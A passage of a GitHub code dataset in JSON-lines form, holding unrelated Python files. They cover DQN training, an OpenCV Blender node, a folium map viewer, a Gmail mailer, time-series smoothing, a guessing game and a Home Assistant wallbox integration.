7*4*depth])\n# W_h_hat = tf.constant(sess.run(W_h))\n# b_h_hat = tf.constant(sess.run(b_h))\nW_h_hat = sess.run(W_h)\nb_h_hat = sess.run(b_h)\nh_hat = tf.nn.relu(tf.matmul(h_relu_flat_hat, W_h_hat) + b_h_hat)\n# W_o_hat = tf.constant(sess.run(W_o))\n# b_o_hat = tf.constant(sess.run(b_o))\nW_o_hat = sess.run(W_o)\nb_o_hat = sess.run(b_o)\nQ_hat=tf.matmul(h_hat, W_o_hat)\n#Q_hat=tf.matmul(h_hat, W_o_hat) + b_o_hat\n\n## parameters\n#n_episodes = 100\n#max_steps = 100\n#epsilon = 0.3 #epsilon-greedy factor\n#batch_size = 32 #size of a minibatch\n#gamma = 0.99 #discount factor\n#C = 30 # target network update frequency\n\nbatch = minibatch()\nmemory = replayMemory() # initialize replay memory\nstep=0\n# sess.run(tf.initialize_all_variables()) # initialize Q and Q_hat\nfor episode in range(n_episodes):\n s = env.reset() \n episode_reward = 0\n print(\"===episode #\", episode, \"===\")\n for t in range(max_steps): \n if (np.random.rand() < epsilon): #with probability epsilon select a random action a_t\n a = np.random.randint(env.na)\n else: #otherwise select a_t = argmax(a, Q(phi(s_t), a; theta))\n q = Q.eval(feed_dict={x: np.reshape(s, [1, env.ny*env.nx*env.nf])})\n# print(\"action-value\",q)\n a = np.argmax(q)\n \n\n# print(\"action\",a)\n sn, r, terminal, _, _, _, _, _, _, _, _ = env.run(a - 1) # action a_t in emulator and observe reward r_t and image x_(t+1)\n memory.store(s, a, r, sn, terminal)\n \n batch.size, batch.s, batch.a, batch.r, batch.ns, batch.terminal = memory.next_batch(batch_size) ## debug this\n y_target = []\n for i in range(batch.size):\n current_Q = Q.eval(feed_dict={x: np.reshape(batch.s[i], [1, env.ny*env.nx*env.nf])})[0]\n# print(\"current_Q\",current_Q)\n if(batch.terminal[i]==1):\n a_i = batch.a[i]\n y_i = batch.r[i]\n else:\n q_i = Q_hat.eval(feed_dict={x_hat: np.reshape(batch.ns[i], [1, env.ny*env.nx*env.nf])})[0]\n# a_i = np.argmax(q_i)\n a_i = batch.a[i]\n y_i = batch.r[i] + gamma*np.max(q_i)\n current_Q[a_i] = y_i\n# print(\"a_i\", a_i, \"y_i\", y_i)\n# print(\"current_Q modified\",current_Q)\n y_target.append(current_Q)\n \n train_Q.run(feed_dict={x: np.reshape(batch.s, [batch.size, env.ny*env.nx*env.nf]), y: np.array(y_target)})\n \n step+=1\n if(step%C==0): # every C steps set Q_hat to Q\n print(\"update target network\", step)\n W_conv_hat = sess.run(W_conv)\n b_conv_hat = sess.run(b_conv)\n W_h_hat = sess.run(W_h)\n b_h_hat = sess.run(b_h)\n W_o_hat = sess.run(W_o)\n b_o_hat = sess.run(b_o)\n\n s=np.copy(sn)\n episode_reward+=r\n if(terminal==1): \n print(\"steps:\", t, \"episode reward:\", episode_reward, \"terminal\", terminal)\n break # if the episode reached terminal then jump to next episode\n\n\n## Tensorflow Saver\nsaver = tf.train.Saver()\nsave_path = saver.save(sess, \"./breakout.ckpt\")\n\nani = breakout_animation(env, 200, nh, depth)\nani.save('breakout.mp4', dpi=200)\nplt.show(block=False)\n# wait('Press enter to quit')\n","repo_name":"hushon/EE488-Projects","sub_path":"project2/task3/breakout.py","file_name":"breakout.py","file_ext":"py","file_size_in_byte":7301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74145298330","text":"import uuid\n\nimport bpy\nimport cv2\nfrom ocvl.core.node_base import OCVLNodeBase, update_node, BORDER_TYPE_ITEMS\n\n\nclass OCVLblurNode(OCVLNodeBase):\n\n bl_icon = 'FILTER'\n\n n_doc = \"Blurs an image using the normalized box filter.\"\n n_requirements = {\"__and__\": [\"src_in\"]}\n\n def get_anchor(self):\n return self.get(\"anchor_in\", (-1, -1))\n\n def set_anchor(self, value):\n anchor_x = value[0] if -1 <= value[0] < self.ksize_in[0] else self.anchor_in[0]\n anchor_y = value[1] if -1 <= value[1] < self.ksize_in[1] else self.anchor_in[1]\n self[\"anchor_in\"] = (anchor_x, anchor_y)\n\n src_in: bpy.props.StringProperty(name=\"src_in\", default=str(uuid.uuid4()), description=\"Input image.\")\n ksize_in: bpy.props.IntVectorProperty(default=(1, 10), update=update_node, min=1, max=30, size=2, description=\"Blurring kernel size.\")\n anchor_in: bpy.props.IntVectorProperty(default=(-1, -1), min=-1, max=30, update=update_node, get=get_anchor, set=set_anchor, size=2, description=\"Bnchor point; default value Point(-1,-1) means that the anchor is at the kernel center.\")\n borderType_in: bpy.props.EnumProperty(items=BORDER_TYPE_ITEMS, default='None', update=update_node, description=\"Border mode used to extrapolate pixels outside of the image, see cv::BorderTypes.\")\n\n dst_in: bpy.props.StringProperty(name=\"dst_in\", default=str(uuid.uuid4()), description=\"Output image.\")\n\n def init(self, context):\n self.width = 250\n self.inputs.new(\"OCVLImageSocket\", \"src_in\")\n self.inputs.new('OCVLObjectSocket', \"ksize_in\").prop_name = 'ksize_in'\n self.inputs.new('OCVLObjectSocket', \"anchor_in\").prop_name = 'anchor_in'\n\n self.outputs.new(\"OCVLImageSocket\", \"dst_in\")\n\n def wrapped_process(self):\n kwargs = {\n 'src': self.get_from_props(\"src_in\"),\n 'ksize_in': self.get_from_props(\"ksize_in\"),\n 'anchor_in': self.get_from_props(\"anchor_in\"),\n 'borderType_in': self.get_from_props(\"borderType_in\"),\n }\n\n dst_in = self.process_cv(fn=cv2.blur, kwargs=kwargs)\n self.refresh_output_socket(\"dst_in\", dst_in, is_uuid_type=True)\n\n def generate_code(self, prop_name, exit_prop_name):\n lines = []\n if prop_name == 'dst_in':\n if self.inputs[\"src_in\"].is_linked:\n node_linked = self.inputs[\"src_in\"].links[0].from_node\n socket_name = self.inputs[\"src_in\"].links[0].from_socket.name\n lines.extend(node_linked.generate_code(socket_name, \"src\"))\n lines.append('ksize_in = {}'.format(self.get_from_props(\"ksize_in\")))\n lines.append(\"{} = cv2.blur(src=src, ksize_in=ksize_in)\".format(exit_prop_name))\n return lines\n\n def draw_buttons(self, context, layout):\n self.add_button(layout, 'borderType_in')\n","repo_name":"feler404/ocvl-addon","sub_path":"nodes/imgproc/image_filtering/cv_blur.py","file_name":"cv_blur.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"32"} +{"seq_id":"2152030365","text":"import io\nimport folium # pip install folium\nfrom PyQt5.QtWidgets import QWidget, QVBoxLayout\nfrom PyQt5.QtWebEngineWidgets import QWebEngineView # pip install PyQtWebEngine\nimport sqlite3\nfrom modules.show_logs import ShowLogs\n\n\nclass OpenMap(QWidget):\n def __init__(self, main):\n super().__init__()\n self.main = main\n self.logs = ShowLogs(parent=main)\n\n self.setWindowTitle('Map')\n self.window_width, self.window_height = 800, 800\n self.setMinimumSize(self.window_width, self.window_height)\n\n self.open_db = sqlite3.connect(\"\")\n self.connect()\n cursor = self.open_db.cursor()\n\n sql = 'SELECT * from POINTS'\n cursor.execute(sql)\n out = cursor.fetchall()\n \n coordinate = {}\n for point in out:\n coordinate[point[4]] = [point[1], point[2]]\n \n layout = QVBoxLayout()\n self.setLayout(layout)\n try:\n m = folium.Map(\n zoom_start=12,\n location=coordinate[list(coordinate.keys())[0]]\n )\n except:\n self.logs.show_logs('(Map) No Coordinates.')\n m = folium.Map(zoom_start=12)\n\n folium.raster_layers.TileLayer('Open Street Map').add_to(m)\n folium.raster_layers.TileLayer('Stamen Terrain').add_to(m)\n folium.raster_layers.TileLayer('Stamen Toner').add_to(m)\n folium.raster_layers.TileLayer('Stamen Watercolor').add_to(m)\n folium.raster_layers.TileLayer('CartoDB Positron').add_to(m)\n folium.raster_layers.TileLayer('CartoDB Dark_Matter').add_to(m)\n folium.LayerControl().add_to(m)\n \n sql = 'SELECT name_r_base, name_r_rover FROM BASELINES WHERE enable = 1'\n cursor.execute(sql)\n out = cursor.fetchall()\n #print(out)\n #print(coordinate)\n for item in out:\n info = f'{item[0]} , {coordinate[item[0]]}'\n folium.Marker(location=coordinate[item[0]], tooltip=item[0], popup=info, icon=folium.Icon(color = 'red')).add_to(m)\n \n info = f'{item[1]} , {coordinate[item[1]]}'\n folium.Marker(location=coordinate[item[1]], tooltip=item[1], popup=info, icon=folium.Icon(color = 'green')).add_to(m)\n \n loc = (coordinate[item[0]], coordinate[item[1]])\n folium.PolyLine(locations=loc, color=\"blue\", weight=3, opacity=1, tooltip=f'{item[0]} -> {item[1]}').add_to(m)\n \n data = io.BytesIO()\n m.save(data, close_file=False)\n\n webView = QWebEngineView()\n webView.setHtml(data.getvalue().decode())\n layout.addWidget(webView)\n\n\n def connect(self):\n db_table = ['BASELINES', 'CONV_CONF', 'POINTS',\n 'POS_CONF', 'RECEIVERS', 'SOLUTIONS']\n temp_table = \"\"\n if self.main.lineEdit_db_con_path.text() != \"\":\n try:\n self.open_db = sqlite3.connect(\n self.main.lineEdit_db_con_path.text(), check_same_thread=False)\n for i in db_table:\n temp_table = i\n cursor = self.open_db.cursor()\n sql = \"SELECT * FROM \" + i\n cursor.execute(sql)\n except Exception:\n self.logs.show_logs(\"Doesn't exist table \" + str(temp_table))\n self.open_db.close()\n else:\n self.logs.show_logs(\"Database is was connected!\")","repo_name":"DanielMamaev/MonCenter","sub_path":"modules/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"14724705517","text":"#Dana jest tablica int t[MAX][MAX] wypełniona liczbami naturalnymi. Proszę napisać\n#funkcję który odpowiada na pytanie, czy istnieje wiersz w tablicy w którym każda\n#z liczb zawiera przynajmniej jedna cyfrę parzystą.\nimport random\n\ndef istnieje():\n N = 4\n t = [[0] * N for _ in range(N)]\n\n for i in range(N):\n for j in range(N):\n t[i][j] = random.randint(11, 13)\n print(t[i][j], end=' ')\n print(\"\\n\")\n\n for w in range(N):\n niep = False\n for k in range(N):\n para = False\n liczba = t[w][k]\n while liczba > 0:\n if liczba % 2 == 0:\n para = True\n break\n else:\n liczba //= 10\n\n if not para:\n niep = True\n break\n\n if not niep:\n print('Istnieje')\n return 0\n\n print('Nie istnieje')\n\n return 0\n\nistnieje()","repo_name":"mamikula/Introduction-to-Computer-Science","sub_path":"Z04/Z04P03.py","file_name":"Z04P03.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"25167831767","text":"from smtplib import SMTP\nfrom message import Message\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom configuration import Configuration\n\nclass Gmail:\n\n def __init__(self):\n self.credentials = (Configuration.email_username, Configuration.email_password)\n\n def connect(self):\n self.connection = SMTP('smtp.gmail.com', 587)\n self.connection.ehlo()\n self.connection.starttls()\n self.connection.login(*self.credentials)\n\n def disconnect(self):\n self.connection.close()\n\n def send(self, message):\n raw_message = MIMEMultipart()\n raw_message['To'] = message.recipient\n raw_message['From'] = message.sender\n raw_message['Subject'] = message.subject\n raw_message['CC'] = ','.join(message.cc)\n for image in message.images:\n raw_message.attach(MIMEImage(image, name='image.jpg', _subtype='jpeg'))\n self.connection.sendmail(message.sender, [message.recipient] + message.cc, raw_message.as_string())\n","repo_name":"michaelmcmillan/tplink-nc450-ftp-mailer","sub_path":"src/gmail.py","file_name":"gmail.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18893482001","text":"import os\n\n\nmax_length = 1999\ntag = ',-1 -1 -1 -1 -1 -1'\nfill = '-1 -1 -1 -1 -1 -1'\ndef write_file(data):\n print(len(data))\n print(data)\n\ndef split_length(example):\n test = []\n label = example[-1]\n example = example[:-1]\n example = \",\".join(example)\n data = example.split(tag)\n if '' in data:\n data.remove('')\n for x in data:\n data1 = x.split(',')\n while '' in data1:\n data1.remove('')\n test.append(data1)\n return test,label\n\n\ndef process1(input,output,output1):\n\n files = os.listdir(input)\n for file in files:\n with open(input + '\\\\' + file, 'r') as f:\n for line in f:\n example = list(filter(len, map(str.strip, line.split(','))))\n if len(example)>max_length:\n open(output1, 'a').write(\",\".join(example[1:]) + ',' + example[0] + '\\n')\n else:\n if len(example) < 2:\n continue\n open(output, 'a').write(\",\".join(example[1:]) + ',' + example[0] + '\\n')\n return(output,output1)\n\n\n\ndef process2(output1,output2):\n examples = open(output1,'r').readlines()\n summary = 0\n data = []\n for example in examples:\n example = example.split(',')\n test,label = split_length(example)\n for x in test:\n summary = summary + len(x) + 1\n if summary < max_length:\n for a in x:\n data.append(a)\n data.append(fill)\n else:\n open(output2, 'a').write(\",\".join(data) + ',' + label)\n summary = 0\n\n data.clear()\n for a in x:\n data.append(a)\n data.append(fill)\n os.remove(output1)\n return output2\n\ndef process3(input,output1,output2):\n examples = open(input,'r',encoding='utf-8').readlines()\n for line in examples:\n example = list(filter(len, map(str.strip, line.split(','))))\n if len(example) > max_length:\n open(output1, 'a').write(\",\".join(example[1:]) + ',' + example[0] + '\\n')\n else:\n if len(example) < 2:\n continue\n open(output2, 'a').write(\",\".join(example[1:]) + ',' + example[0] + '\\n')\n\n\nif __name__ == '__main__':\n input = r\"E:\\variable_classification\\variable_classification\\path\\path_bitcoin\\bitcoind.no_slice.paths\"\n output = r\"E:\\variable_classification\\variable_classification\\path\\path_bitcoin\\bitcoind.no_slice.txt\"\n output1 = r\"E:\\variable_classification\\variable_classification\\path\\path_bitcoin\\bitcoind.no_slice1.txt\"\n #output, ouput1 = process1(input,output,output1)\n #process2(output1,output)\n process3(input,output1,output)\n process2(output1,output)\n\n\n","repo_name":"whumashuai/variable_classification","sub_path":"remove_null.py","file_name":"remove_null.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44396567692","text":"\n# For write data in csv file\n\nimport csv\nwith open (r\"E:\\python-examples\\myfile.csv\",'w') as csvfile:\n fieldnames = [\"Name\",\"Age\",\"Gender\"]\n writer = csv.DictWriter(csvfile,fieldnames=fieldnames)\n writer.writeheader()\n writer.writerow({'Name':'ABC','Age':'20','Gender':'Male'})\n writer.writerow({'Name':'PQR','Age':'22','Gender':'Male'})","repo_name":"swadipa123/Python-Examples","sub_path":"csvFile.py","file_name":"csvFile.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34224531836","text":"import json\n\n# Now for some forecasting/scheduling parameters\nalpha = 0.5\nbeta = 0.5\nmaxListSize = 30\nsigma = 1.0\nforecastHorizon = 15\nsplitVariance = True\nLOG_VERBOSE = True\n\nclass PredictionModel:\n\n\tdef __init__(self):\n\t\tself.numPredictions = 0\t\t\t\n\t\n\tdef getPrediction(self, sequence):\n\t\t\"\"\" A Holt-Winters Exponential Smoothing Model with a \n\t\t trend component. Returns the point forecast and trend as \n\t\t the output of the function. The forecast itself is the \n\t\t point forecast + (iterations x trend). \n\t\t\"\"\"\n\t\t# Needs a list of at least two components.\n\t\tif len(sequence) < 1:\n\t\t\treturn None, None\n\t\telif len(sequence) < 2:\n\t\t\treturn sequence[-1]\n\t\t# Performs the exp. smoothing list. \n\t\telse:\n\t\t\testimate = sequence[1]\n\t\t\tbounds = sequence[1]-sequence[0]\n\n\t\t\tindex = 2\n\t\t\twhile index < len(sequence):\n\t\t\t\tcurrentValue = sequence[index]\n\t\t\t\tprevEstimate = estimate\n\t\t\t\tprevBounds = bounds\n\t\t\t\testimate = (alpha*currentValue) + ((1-alpha)*(prevEstimate+bounds))\n\t\t\t\tbounds = (beta*(estimate-prevEstimate)) + ((1-beta)*prevBounds)\n\t\t\t\tindex += 1\n\n\t\t\treturn estimate\n","repo_name":"brennash/BikePredictor","sub_path":"bikepredictor/PredictionModel.py","file_name":"PredictionModel.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74658476890","text":"# -*- coding: utf-8 -*-\n\nimport math\n\nimport numpy as np\nfrom scipy import stats, signal\n\n\ndef uniform(x):\n \"\"\"Uniform(square) kernel.\"\"\"\n z = np.ones(len(x),np.float)\n z[np.abs(x) >= 1] = 0\n return z \n \ndef triangle(x):\n \"\"\"Triangular kernel.\"\"\"\n z = (1.0 - np.abs(x))\n z[np.abs(x) >= 1] = 0\n return z \n\ndef tricube(x):\n \"\"\"Tricube kernel.\"\"\"\n z = (1.0 - np.abs(x)**3)**3\n z[np.abs(x) >= 1] = 0\n return z\n \ndef cubed(x):\n \"\"\"Cubic kernel.\"\"\"\n z = (1.0 - np.abs(x)**3)\n z[np.abs(x) >= 1] = 0\n return z \n\ndef triweight(x):\n \"\"\"Triweight kernel.\"\"\"\n z = 1.09375 * ((1.0 - np.array(x)**2)**3)\n z[np.abs(x) >= 1] = 0\n return z\n \ndef epanechnikov(x):\n \"\"\"Epanechnikov kernel.\"\"\"\n z = 0.75 * (1.0 - np.array(x)**2)\n z[np.abs(x) >= 1] = 0\n return z \n \ndef quartic(x):\n \"\"\"Quartic kernel.\"\"\"\n z = 0.9375 * ((1.0 - np.array(x)**2)**2)\n z[np.abs(x) >= 1] = 0\n return z \n \nbiweight = quartic \n\n\nrsqrt2pi = 1./math.sqrt(2.0*math.pi)\n\ndef gaussian(x):\n \"\"\"Gaussian kernel.\"\"\"\n z = rsqrt2pi * np.exp(-0.5 * x**2)\n return z \n \n \npi4 = math.pi/4.\npi2 = math.pi/2.\n\ndef cosine(x):\n \"\"\"Cosine kernel.\"\"\"\n z = pi4 * np.cos(pi2*x)\n z[np.abs(x) >= 1] = 0\n return z \n \n\n\ndef kernel_smooth(x,y,h, kernel=uniform, ctinband=False):\n \"\"\"Calculcate a `kernel smoothed' moving average of y, at the given\n x-coords and with half-bandwith, h.\n \n This is a function to calculate moving averages given uneven sampling. \n Calculates moving average of y at coordinate x_i by weighted averaging \n over all points in range (x_i-h, x_i+h). Weights are given by the kernel\n function.\n \n This is equivalent to the Nadaraya-Watson regression estimate.\n \n \"\"\"\n x = np.array(x)\n y = np.array(y)\n \n olen = len(x)\n \n # at the head and tail of the sequence reflect the right and left (respectively)\n # half-bandwidths\n xfirst = x[0]\n startband = x <= xfirst + h\n xstart = x[startband]\n ystart = y[startband]\n nstart = len(xstart)-1\n \n xlast = x[-1]\n endband = x >= xlast - h\n xend = x[endband]\n yend = y[endband]\n nend = len(xend) - 1 \n x = np.hstack((xstart[::-1][:-1], x, xend[::-1][1:]))\n y = np.hstack((ystart[::-1][:-1], y, yend[::-1][1:]))\n \n lx, ly = len(x), len(y)\n if lx != ly:\n raise Exception(\"x and y must be same length.\")\n z = []\n ninband = []\n for i in range(lx):\n c = x[i]\n inband = np.logical_and(x >= c-h, x <= c+h)\n if ctinband:\n ninband.append(len(np.flatnonzero(inband)))\n xfrac = (np.abs(x[inband] - c))/float(h)\n xwt = kernel(xfrac)\n ywin = np.sum(y[inband]*xwt)/np.sum(xwt)\n z.append(ywin)\n \n # trim off the reflected right/left half-bandwidths\n if ctinband:\n return z[nstart:olen+nstart], ninband[nstart:olen+nstart] \n return z[nstart:olen+nstart] \n\n\n\n\n\ndef connected_intervals(x, y, maxgap=10000):\n \"\"\"Determine the connected intervals over a set of x,y observations by \n identifying the 'gaps'.\n \n Gaps are defined as adjacent x values where x[i+1]-x[i] > maxgap\n \n This is useful when you want to draw a plot over a set of data but you \n don't want to connect points that span intervals where there is no data.\n \"\"\"\n x = np.array(x)\n y = np.array(y)\n diff = x[1:] - x[:-1]\n gaps = [i+1 for i in np.flatnonzero(diff > maxgap)]\n if not len(gaps):\n return [x],[y]\n newx, newy = [], []\n idx = 0\n for i,j in enumerate(gaps):\n jx = x[idx:j]\n jy = y[idx:j]\n newx.append(jx)\n newy.append(jy)\n if i == len(gaps)-1:\n newx.append(x[j:])\n newy.append(y[j:])\n idx = j\n return newx, newy\n \n\n\ndef minfilter(x, size=5):\n return signal.order_filter(x, np.ones(size), 0)\n\ndef maxfilter(x, size=5):\n return signal.order_filter(x, np.ones(size), size-1)\n #return signal.order_filter(x, np.ones(size), size-1)\n\ndef minmaxfilter(x, size=5):\n return minfilter(maxfilter(x, size), size)\n\ndef maxminfilter(x, size=5):\n return maxfilter(minfilter(x, size), size)\n\ndef connected_maxminfilter(x, y, size=5, maxgap=10000):\n gapx, gapy = connected_intervals(x, y, maxgap)\n maxminy = [maxminfilter(i, size) for i in gapy]\n return np.concatenate(gapx), np.concatenate(maxminy)\n","repo_name":"zsanli/bsa4yeast","sub_path":"scripts/kernelsmoothing.py","file_name":"kernelsmoothing.py","file_ext":"py","file_size_in_byte":4463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"31707913099","text":"# asking for the name of the user\r\n# choosing of a random number by the computer\r\n# asking the user to enter the number of his choice\r\n# player wins if the number he guessed is correct\r\n# else if the guessed number is not correct tell the user that the value is too high or too low.\r\n# show the number of the moves\r\n# if the user guessed the correct number in less than given number of chances user won else user loose.\r\n\r\nprint(('WELCOME TO GUESSING NUMBER GAME.').center(100, '-'))\r\n\r\n# user name input\r\nname = input('Enter your name :- ')\r\nprint(\"\\nHello \" + name + \".\")\r\n\r\n# choosing of a random number by a computer using random module\r\nimport random\r\n\r\nx = random.randint(1, 10)\r\n\r\n# giving a counter to count how many times user has entered the value\r\ncount = 0\r\n\r\n# choosing of a number by user by giving chances\r\nwhile count < 3:\r\n count += 1\r\n num = int(input('\\nEnter a number of your choice between 1 to 9 :- '))\r\n if num == x:\r\n print('\\nYou guessed the correct number in {} moves.'.format(count))\r\n print('The answer is :- {}'.format(x))\r\n break\r\n elif num > x:\r\n print('Your guess is greater than the given number.')\r\n elif num < x:\r\n print('Your guess is smaller than the given number.')\r\n\r\nwhile not count < 3:\r\n print('\\nYou loose the game.')\r\n print('The correct answer is :- {}'.format(x))\r\n break","repo_name":"shahaash28/Python-Basic-Projects","sub_path":"Guessing Number Game.py","file_name":"Guessing Number Game.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20346813763","text":"\"\"\"Number entities for the Fronius Wattpilot integration.\"\"\"\n\nfrom __future__ import annotations\nfrom typing import Final\nimport logging\nimport asyncio\nimport yaml\nimport os\n\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.entity import DeviceInfo\nfrom homeassistant.components.number import NumberEntity\nfrom homeassistant.const import (\n CONF_FRIENDLY_NAME,\n CONF_IP_ADDRESS,\n STATE_UNKNOWN,\n)\n\nfrom .entities import ChargerPlatformEntity\n\nfrom .const import (\n CONF_CHARGER,\n CONF_PUSH_ENTITIES,\n DEFAULT_NAME,\n DOMAIN,\n)\nfrom .utils import (\n async_ProgrammingDebug,\n async_GetChargerProp,\n GetChargerProp,\n async_SetChargerProp,\n)\n\n_LOGGER: Final = logging.getLogger(__name__)\nplatform='number'\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry, async_add_entities):\n \"\"\"Set up the sensor platform.\"\"\"\n _LOGGER.debug(\"Setting up %s platform entry: %s\", platform, entry.entry_id)\n entites=[]\n try:\n _LOGGER.debug(\"%s - async_setup_entry %s: Reading static yaml configuration\", entry.entry_id, platform)\n with open(os.path.dirname(os.path.realpath(__file__))+'/'+platform+'.yaml', 'r') as stream:\n yaml_cfg=yaml.safe_load(stream)\n except Exception as e:\n _LOGGER.error(\"%s - async_setup_entry %s: Reading static yaml configuration failed: %s (%s.%s)\", entry.entry_id, platform, str(e), e.__class__.__module__, type(e).__name__)\n return False\n\n try:\n _LOGGER.debug(\"%s - async_setup_entry %s: Getting charger instance from data store\", entry.entry_id, platform)\n charger=hass.data[DOMAIN][entry.entry_id][CONF_CHARGER]\n except Exception as e:\n _LOGGER.error(\"%s - async_setup_entry %s: Getting charger instance from data store failed: %s (%s.%s)\", entry.entry_id, platform, str(e), e.__class__.__module__, type(e).__name__)\n return False\n\n try:\n _LOGGER.debug(\"%s - async_setup_entry %s: Getting push entities dict from data store\", entry.entry_id, platform)\n push_entities=hass.data[DOMAIN][entry.entry_id][CONF_PUSH_ENTITIES]\n except Exception as e:\n _LOGGER.error(\"%s - async_setup_entry %s: Getting push entities dict from data store failed: %s (%s.%s)\", entry.entry_id, platform, str(e), e.__class__.__module__, type(e).__name__)\n return False\n\n for entity_cfg in yaml_cfg.get(platform, []):\n try:\n entity_cfg['source'] = 'property'\n if not 'id' in entity_cfg or entity_cfg['id'] is None:\n _LOGGER.error(\"%s - async_setup_entry %s: Invalid yaml configuration - no id: %s\", entry.entry_id, platform, entity_cfg)\n continue\n elif not 'source' in entity_cfg or entity_cfg['source'] is None:\n _LOGGER.error(\"%s - async_setup_entry %s: Invalid yaml configuration - no source: %s\", entry.entry_id, platform, entity_cfg)\n continue\n entity=ChargerNumber(hass, entry, entity_cfg, charger)\n entites.append(entity)\n if entity._source == 'property':\n push_entities[entity._identifier]=entity\n await asyncio.sleep(0)\n except Exception as e:\n _LOGGER.error(\"%s - async_setup_entry %s: Reading static yaml configuration failed: %s (%s.%s)\", entry.entry_id, platform, str(e), e.__class__.__module__, type(e).__name__)\n return False\n\n _LOGGER.info(\"%s - async_setup_entry: setup %s %s entities\", entry.entry_id, len(entites), platform)\n if not entites:\n return None\n async_add_entities(entites)\n\n\nclass ChargerNumber(ChargerPlatformEntity, NumberEntity):\n \"\"\"Number class for Fronius Wattpilot integration.\"\"\"\n\n \n def _init_platform_specific(self):\n \"\"\"Platform specific init actions\"\"\"\n self._native_min=self._entity_cfg.get('native_min_value', None)\n if not self._native_min is None:\n self._native_min=float(self._native_min)\n self._native_max=self._entity_cfg.get('native_max_value', None)\n if not self._native_max is None:\n self._native_max=float(self._native_max)\n elif self._identifier == 'amp':\n _LOGGER.debug(\"%s - %s: _init_platform_specific: %s: decide native_max_value based on model variant\", self._charger_id, self._identifier, self._name)\n variant=GetChargerProp(self._charger,'var',11)\n #_LOGGER.debug(\"%s - %s: _init_platform_specific: %s: model variant is: %s\", self._charger_id, self._identifier, self._name, variant)\n if variant == 22 or variant == '22':\n self._native_max=float(32)\n else:\n self._native_max=float(16)\n self._native_step=self._entity_cfg.get('native_step', None)\n if not self._native_step is None:\n self._native_step=float(self._native_step)\n self._mode=self._entity_cfg.get('mode', None)\n\n\n @property\n def native_min_value(self) -> float | None:\n \"\"\"Return the minimum accepted value (inclusive) for this entity.\"\"\"\n return self._native_min\n\n\n @property\n def native_max_value(self) -> float | None:\n \"\"\"Return the maximum accepted value (inclusive) for this entity.\"\"\"\n return self._native_max\n\n\n @property\n def native_step(self) -> float | None:\n \"\"\"Return the resolution of the values for this entity.\"\"\"\n return self._native_step\n\n\n @property\n def mode(self) -> str | None:\n \"\"\"Return the how the number should be displayed for this entity.\"\"\"\n return self._mode\n\n\n async def async_set_native_value(self, value) -> None:\n \"\"\"Async: Change the current value.\"\"\"\n try:\n _LOGGER.debug(\"%s - %s: async_set_native_value: value was changed to: %s\", self._charger_id, self._identifier, float)\n if (self._identifier == 'fte'):\n _LOGGER.debug(\"%s - %s: async_set_native_value: apply ugly workaround to always set next trip distance to kWH instead of KM\", self._charger_id, self._identifier)\n await async_SetChargerProp(self._charger,'esk',True) \n await async_SetChargerProp(self._charger,self._identifier,value,force_type=self._set_type)\n except Exception as e:\n _LOGGER.error(\"%s - %s: update failed: %s (%s.%s)\", self._charger_id, self._identifier, str(e), e.__class__.__module__, type(e).__name__)\n","repo_name":"mk-maddin/wattpilot-HA","sub_path":"custom_components/wattpilot/number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":6533,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"32"} +{"seq_id":"9127436997","text":"from heapq import heappop, heappush\nn,m = map(int, input().split())\nboard = []\nfor i in range(n):\n board.append(list(map(int, input().split())))\n\nstart_x, start_y, start_d = map(int, input().split())\nstart_x, start_y, start_d = start_x-1, start_y-1, start_d-1\nend_x, end_y, end_d = map(int, input().split())\nend_x, end_y, end_d = end_x-1, end_y-1, end_d-1\n\nmove = [(0,1),(0,-1),(1,0),(-1,0)]\nqueue = []\nheappush(queue, (0, start_x, start_y, start_d))\nvisited = [[[0, 0, 0, 0] for _ in range(m)] for _ in range(n)]\nturn_dir = [(2,3), (2,3), (1,0), (1,0)]\nwhile queue:\n temp, x, y, d = heappop(queue)\n if visited[x][y][d]: continue\n visited[x][y][d] = 1\n if x == end_x and y==end_y and d == end_d:\n print(temp)\n break\n # 방향 바꾸기\n for i in turn_dir[d]:\n heappush(queue, (temp+1, x, y, i))\n # 이동\n cx, cy = x, y\n for i in range(3):\n cx += move[d][0]\n cy += move[d][1]\n if 0<=cx pd.DataFrame:\n X = df[xcol].values.reshape(-1,1)\n X = X - X[0][0]\n Y = df[ycol].values.reshape(-1,1)\n model = make_pipeline(PolynomialFeatures(degree), LinearRegression())\n model.fit(X,Y)\n return model\n\ndef add_series_from_model(df: pd.DataFrame, model, X, name) -> pd.DataFrame:\n res = model.predict(X).flatten()\n return pd.concat([df, pd.Series(data=res, name=name+\"pred\", index=df.index)], axis=1)\n\ndef predict(df: pd.DataFrame, xmod, ymod, zmod, start) -> pd.DataFrame:\n T = df[TIME].values.reshape(-1,1) - start\n xp = add_series_from_model(df, xmod, T, BX)\n yp = add_series_from_model(xp, ymod, T, BY)\n return add_series_from_model(yp, 